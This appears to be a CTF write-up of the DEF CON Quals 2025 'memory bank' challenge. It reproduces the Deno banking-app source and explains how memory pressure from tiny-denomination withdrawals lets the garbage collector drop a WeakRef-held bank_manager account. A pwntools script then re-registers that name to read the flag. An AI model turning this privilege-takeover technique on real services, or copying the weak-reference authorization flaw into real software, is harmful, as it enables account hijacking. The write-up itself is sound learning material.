Post

Defcon CTF Qualifiers 2025 - PWN

Defcon CTF Qualifiers 2025 - PWN

PWN

memory bank

Solvers: xxx
Author: defcon

Description

memory_bank

Solution

For this challenge, I just analyze from the challenge solution because I was not able to find the flag due to I miss some information when auditing the source code. And also I have never play PWN before so I just want to challenge myself and learn something new.
So after examining the source code in index.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
// ANSI color codes
const RESET = "\x1b[0m";
const GREEN = "\x1b[32m";
const YELLOW = "\x1b[33m";
const BLUE = "\x1b[34m";
const MAGENTA = "\x1b[35m";
const CYAN = "\x1b[36m";
const WHITE = "\x1b[37m";
const BRIGHT = "\x1b[1m";
const DIM = "\x1b[2m";

// ASCII Art
const ATM_ART = `
${CYAN}╔══════════════════════════════════════════════════════╗
║ ${BRIGHT}╔═╗╔╦╗╔╦╗  ╔╦╗╔═╗╔═╗╦ ╦╦╔╗╔╔═╗  ╔╦╗╔═╗╔═╗╦ ╦╦╔╗╔╔═╗${RESET}${CYAN}  ║
║ ${BRIGHT}╠═╣ ║ ║║║──║║║╠═╣║  ╠═╣║║║║║╣ ──║║║╠═╣║  ╠═╣║║║║║╣ ${RESET}${CYAN}  ║
║ ${BRIGHT}╩ ╩ ╩ ╩ ╩  ╩ ╩╩ ╩╚═╝╩ ╩╩╝╚╝╚═╝  ╩ ╩╩ ╩╚═╝╩ ╩╩╝╚╝╚═╝${RESET}${CYAN}  ║
║                                                      ║
║  ${MAGENTA}┌─────────────────────┐${CYAN}                             ║
║  ${MAGENTA}${WHITE}MEMORY BANK${MAGENTA}${CYAN}                             ║
║  ${MAGENTA}└─────────────────────┘${CYAN}                             ║
║                                                      ║
║  ${YELLOW}┌─────┬─────┬─────┐${CYAN}                                 ║
║  ${YELLOW}${WHITE}1${YELLOW}${WHITE}2${YELLOW}${WHITE}3${YELLOW}${CYAN}                                 ║
║  ${YELLOW}├─────┼─────┼─────┤${CYAN}                                 ║
║  ${YELLOW}${WHITE}4${YELLOW}${WHITE}5${YELLOW}${WHITE}6${YELLOW}${CYAN}                                 ║
║  ${YELLOW}├─────┼─────┼─────┤${CYAN}                                 ║
║  ${YELLOW}${WHITE}7${YELLOW}${WHITE}8${YELLOW}${WHITE}9${YELLOW}${CYAN}                                 ║
║  ${YELLOW}├─────┼─────┼─────┤${CYAN}                                 ║
║  ${YELLOW}${WHITE}*${YELLOW}${WHITE}0${YELLOW}${WHITE}#${YELLOW}${CYAN}                                 ║
║  ${YELLOW}└─────┴─────┴─────┘${CYAN}                                 ║
║                                                      ║
║  ${GREEN}╔══════════════════╗${CYAN}                                ║
║  ${GREEN}${WHITE}INSERT CARD HERE${GREEN}${CYAN}                                ║
║  ${GREEN}╚══════════════════╝${CYAN}                                ║
║                                                      ║
║  ${BLUE}┌─────────────────┐${CYAN}                                 ║
║  ${BLUE}${WHITE}CASH DISPENSER${BLUE}${CYAN}                                 ║
║  ${BLUE}└─────────────────┘${CYAN}                                 ║
╚══════════════════════════════════════════════════════╝${RESET}`;

const MARBLE_TOP = `
${DIM}${WHITE}╔══════════════════════════════════════════════════════╗
║ ▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓   ║
║ ░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░   ║
║ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒   ║
╚══════════════════════════════════════════════════════╝${RESET}`;

const MARBLE_BOTTOM = `
${DIM}${WHITE}╔══════════════════════════════════════════════════════╗
║ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒   ║
║ ░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░   ║
║ ▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓   ║
╚══════════════════════════════════════════════════════╝${RESET}`;

class User {
  constructor(username) {
    this.username = username;
    this.balance = 101;
    this.signature = null;
  }
}

class Bill {
  constructor(value, signature) {
    this.value = value;
    this.serialNumber = 'SN-' + crypto.randomUUID();
    this.signature = new Uint8Array(signature.length);
    for (let i = 0; i < signature.length; i++) {
      this.signature[i] = signature.charCodeAt(i);
    }
  }
  
  toString() {
    return `${this.value} token bill (S/N: ${this.serialNumber})`;
  }
}

class UserRegistry {
  constructor() {
    this.users = [];
  }
  addUser(user) {
    this.users.push(new WeakRef(user));
  }
  getUserByUsername(username) {
    for (let user of this.users) {
      user = user.deref();
      if (!user) continue;
      if (user.username === username) {
        return user;
      }
    }
    return null;
  }
  
  *[Symbol.iterator]() {
    for (const weakRef of this.users) {
      const user = weakRef.deref();
      if (user) yield user;
    }
  }
}
const users = new UserRegistry();

function promptSync(message) {
  const buf = new Uint8Array(1024*1024);
  Deno.stdout.writeSync(new TextEncoder().encode(`${YELLOW}${message}${RESET}`));
  const n = Deno.stdin.readSync(buf);
  return new TextDecoder().decode(buf.subarray(0, n)).trim();
}

function init() {
  users.addUser(new User("bank_manager"));
}

async function main() {
  init();
  console.log(ATM_ART);
  console.log(MARBLE_TOP);
  console.log(`${BRIGHT}${CYAN}Welcome to the Memory Banking System! Loading...${RESET}`);
  console.log(MARBLE_BOTTOM);

  setTimeout(async () => {
    await user();
  }, 1000);
}

async function user() {
  
  let isLoggedIn = false;
  let currentUser = null;
  
  while (true) {
    // If not logged in, require registration
    if (!isLoggedIn) {
      console.log(`${YELLOW}You have 20 seconds to complete your transaction before the bank closes for the day.\n${RESET}`);
      
      // Register user
      while (!isLoggedIn) {
        let username = promptSync("Please register with a username (or type 'exit' to quit): ");
        if (!username) {
          console.log(`${CYAN}Thank you for using Memory Banking System!${RESET}`);
          Deno.exit(0);
        }
        
        if (username.toLowerCase() === 'exit') {
          console.log(`${CYAN}Thank you for using Memory Banking System!${RESET}`);
          Deno.exit(0);
        }

        if (username.toLowerCase() === 'random') {
          username = 'random-' + crypto.randomUUID();
        } else {
          let existingUser = users.getUserByUsername(username);
      
          if (existingUser) {
            console.log(`${MAGENTA}User already exists. Please choose another username.${RESET}`);
            continue;
          }
        }

        currentUser = new User(username);
        users.addUser(currentUser);
        if (currentUser.username === "bank_manager") {
          currentUser.balance = 100000000;
        }
        console.log(MARBLE_TOP);
        console.log(`${BRIGHT}${GREEN}Welcome, ${username}! Your starting balance is ${currentUser.balance} tokens.${RESET}`);
        console.log(MARBLE_BOTTOM);
        
        isLoggedIn = true;
      }
    }
  
    // Banking operations
    console.log("\n" + MARBLE_TOP);
    console.log(`${CYAN}${BRIGHT}Available operations:${RESET}`);
    console.log(`${CYAN}1. Check balance${RESET}`);
    console.log(`${CYAN}2. Withdraw tokens${RESET}`);
    console.log(`${CYAN}3. Set signature${RESET}`);
    console.log(`${CYAN}4. Logout${RESET}`);
    console.log(`${CYAN}5. Exit${RESET}`);
    
    // Special admin option for bank_manager
    if (currentUser.username === "bank_manager") {
      console.log(`${MAGENTA}${BRIGHT}6. Vault: Withdrawflag${RESET}`);
    }
    console.log(MARBLE_BOTTOM);
    
    const choice = promptSync("Choose an operation (1-" + (currentUser.username === "bank_manager" ? "6" : "5") + "): ");
    
    switch (choice) {
      case "1":
        console.log(`${GREEN}Your balance is ${BRIGHT}${currentUser.balance}${RESET}${GREEN} tokens.${RESET}`);
        break;
        
      case "2":
        const amount = parseInt(promptSync("Enter amount to withdraw: "));
        
        if (isNaN(amount) || amount <= 0) {
          console.log(`${MAGENTA}Invalid amount.${RESET}`);
          continue;
        }
        
        if (amount > currentUser.balance) {
          console.log(`${MAGENTA}Insufficient funds.${RESET}`);
          continue;
        }
        
        const billOptions = [1, 5, 10, 20, 50, 100];
        console.log(`${YELLOW}Available bill denominations: ${billOptions.join(", ")}${RESET}`);
        const denomStr = promptSync("Enter bill denomination: ");
        const denomination = parseFloat(denomStr);

        if (denomination <=0 || isNaN(denomination) || denomination > amount) {
          console.log(`${MAGENTA}Invalid denomination: ${denomination}${RESET}`);
          continue;
        }

        const numBills = amount / denomination;
        const bills = [];

        for (let i = 0; i < numBills; i++) {
          bills.push(new Bill(denomination, currentUser.signature || 'VOID'));
        }
        
        currentUser.balance -= amount;
        
        console.log(`${GREEN}Withdrew ${BRIGHT}${amount}${RESET}${GREEN} tokens as ${bills.length} bills of ${denomination}:${RESET}`);
        //bills.forEach(bill => console.log(`- ${bill}`));
        console.log(`${GREEN}Remaining balance: ${BRIGHT}${currentUser.balance}${RESET}${GREEN} tokens${RESET}`);
        break;
        
      case "3":
        // Set signature
        const signature = promptSync("Enter your signature (will be used on bills): ");
        currentUser.signature = signature;
        console.log(`${GREEN}Your signature has been updated${RESET}`);
        break;
        
      case "4":
        // Logout
        console.log(`${YELLOW}You have been logged out.${RESET}`);
        isLoggedIn = false;
        currentUser = null;
        break;
        
      case "5":
        // Exit
        console.log(MARBLE_TOP);
        console.log(`${CYAN}${BRIGHT}Thank you for using Memory Banking System!${RESET}`);
        console.log(MARBLE_BOTTOM);
        Deno.exit(0);
        
      case "6":
        if (currentUser.username === "bank_manager") {
          try {
            const flag = Deno.readTextFileSync("/flag");
            console.log(`${BRIGHT}${GREEN}Flag contents:${RESET}`);
            console.log(`${BRIGHT}${GREEN}${flag}${RESET}`);
          } catch (err) {
            console.log(`${MAGENTA}Error reading flag file:${RESET}`, err.message);
          }
        } else {
          console.log(`${MAGENTA}${BRIGHT}Unauthorized access attempt logged 🚨🚨🚨🚨🚨🚨${RESET}`);
        }
        break;
                    
      default:
        console.log(`${MAGENTA}Invalid option.${RESET}`);
    }
  }
}

main().catch(err => {
  console.error(`${MAGENTA}An error occurred:${RESET}`, err);
  Deno.exit(1);
});

We discover a banking system with features like:

  • User registration and authentication
  • Balance checking
  • Token withdrawal and bill creation
  • Setting personal signatures
  • Logout/login functionality

Found some interesting part in the source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class UserRegistry {
  constructor() {
    this.users = [];
  }
  addUser(user) {
    this.users.push(new WeakRef(user));  // Users stored as WeakRefs
  }
  getUserByUsername(username) {
    for (let user of this.users) {
      user = user.deref();
      if (!user) continue;  // Skip if object was garbage collected
      if (user.username === username) {
        return user;
      }
    }
    return null;
  }
}

And flag retrieval is only available for bank_manager account.

1
2
3
4
5
6
7
8
9
if (currentUser.username === "bank_manager") {
  try {
    const flag = Deno.readTextFileSync("/flag");
    console.log(`${BRIGHT}${GREEN}Flag contents:${RESET}`);
    console.log(`${BRIGHT}${GREEN}${flag}${RESET}`);
  } catch (err) {
    console.log(`${MAGENTA}Error reading flag file:${RESET}`, err.message);
  }
}

So what is WeakRef? Here is the research from MDN:

A WeakRef object lets you hold a weak reference to another object, without preventing that object from getting garbage-collected.

Some example of WeakRef:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// Strong reference
let treasureBox = { gold: 100 };
let strongPointer = treasureBox;  // another strong reference

treasureBox = null;  // Remove initial reference
console.log(strongPointer.gold);  // Still prints 100, object persists

// Weak reference
let jewelChest = { diamonds: 50 };
let weakPointer = new WeakRef(jewelChest);  // weak reference

jewelChest = null;  // Remove the only strong reference
// After GC runs
let chest = weakPointer.deref();  // May return null if collected

So the flaw lies in:

  • The bank_manager account is created in init() but only stored as a WeakRef
  • There are no strong references to this bank_manager object
  • When memory pressure is created, the GC can collect this object
  • After collection, we can create a new user with the same bank_manager name

So I have create a script to add some user and then logout and login again to create a new user with the same bank_manager name but I miss the part that the balance is not 100000000.
In order to get the flag, we need pressure the memory, forcing the GC to clean up objects without strong references, including bank_manager.

Check out this code:

1
2
3
4
5
6
7
// Bill creation when withdrawing money
const numBills = amount / denomination;
const bills = [];

for (let i = 0; i < numBills; i++) {
  bills.push(new Bill(denomination, currentUser.signature || 'VOID'));
}
1
2
3
4
5
6
7
8
9
10
11
// Bill structure
class Bill {
  constructor(value, signature) {
    this.value = value;
    this.serialNumber = 'SN-' + crypto.randomUUID();
    this.signature = new Uint8Array(signature.length);
    for (let i = 0; i < signature.length; i++) {
      this.signature[i] = signature.charCodeAt(i);
    }
  }
}

If we withdrawal amount of 100 and a denomination of 0.001, it will create 100000 bills.
So we need to create:

  • Number of bills: 100 / 0.001 = 100,000 bills
  • Each bill contains a copy of the signature (1000 bytes)
  • Total memory usage: 100,000 × 1000 = 100,000,000 bytes ≈ 95.3 MB

So we need to create 95.3 MB of memory pressure to force the GC to clean up the bank_manager object.

Here is the visualization of the memory usage:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
1. Initial state:
   [Memory]
   ├── User "bank_manager" ──> WeakRef in registry
   └── (~1MB memory used)

2. Register "random" user with 1000-char signature:
   [Memory]
   ├── User "bank_manager" ──> WeakRef in registry
   ├── User "random" ──> WeakRef + strong reference in currentUser
   └── (~1.1MB memory used)

3. Withdraw 100 tokens with 0.001 denomination:
   [Memory]
   ├── User "bank_manager" ──> WeakRef in registry
   ├── User "random" ──> WeakRef + strong reference
   ├── 100,000 Bills × 1000 bytes signature
   └── (~95MB memory used)

4. Logout (removing strong reference to "random"):
   [Memory]
   ├── User "bank_manager" ──> WeakRef in registry
   ├── User "random" ──> WeakRef in registry (no strong references)
   ├── 100,000 Bills
   └── (~95MB memory used)

5. Garbage Collection activates:
   [Memory]
   ├── WeakRef to "bank_manager" (object collected)
   ├── WeakRef to "random" (object collected)
   └── (Memory freed)

6. Register again with "bank_manager" name:
   [Memory]
   ├── New User "bank_manager" ──> WeakRef + strong reference
   └── Has flag access privileges

Here is the full script exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

def main():
    # Connect to real server or run locally
    # p = remote('memorybank-tlc4zml47uyjm.shellweplayaga.me', 9005)
    p = process(['bash', './dist/run.sh'], cwd='.')
    
    # Uncomment when connecting to remote
    # p.recvuntil(b'please')
    # p.sendline(b'ticket{your_ticket_here}')
    
    # 1. Register random account
    p.recvuntil(b'register with a username')
    p.sendline(b'random')
    
    # 2. Set long signature
    p.recvuntil(b'Choose an operation')
    p.sendline(b'3')
    p.recvuntil(b'Enter your signature')
    p.sendline(b'A' * 1000)
    
    # 3. Withdraw money with tiny denomination
    p.recvuntil(b'Choose an operation')
    p.sendline(b'2')
    p.recvuntil(b'Enter amount to withdraw:')
    p.sendline(b'100')
    p.recvuntil(b'Enter bill denomination:')
    p.sendline(b'.001')
    
    # 4. Logout (remove strong reference)
    p.recvuntil(b'Choose an operation')
    p.sendline(b'4')
    
    # 5. Login again with "bank_manager" name
    p.recvuntil(b'register with a username')
    p.sendline(b'bank_manager')
    
    # 6. Access to get flag
    p.recvuntil(b'Choose an operation')
    p.sendline(b'6')
    
    # Switch to interactive mode to see flag
    p.interactive()

if __name__ == '__main__':
    main()

image image

This analysis is based on the solution from defcon-ctf-quals-2025-memorybank. If I can look closer, I can find the part about bill withdrawal and can even exploit so this challenge is not quite hard but pretty cool and have learn something new.

Flag: flag{XXX}

This post is licensed under CC BY 4.0 by the author.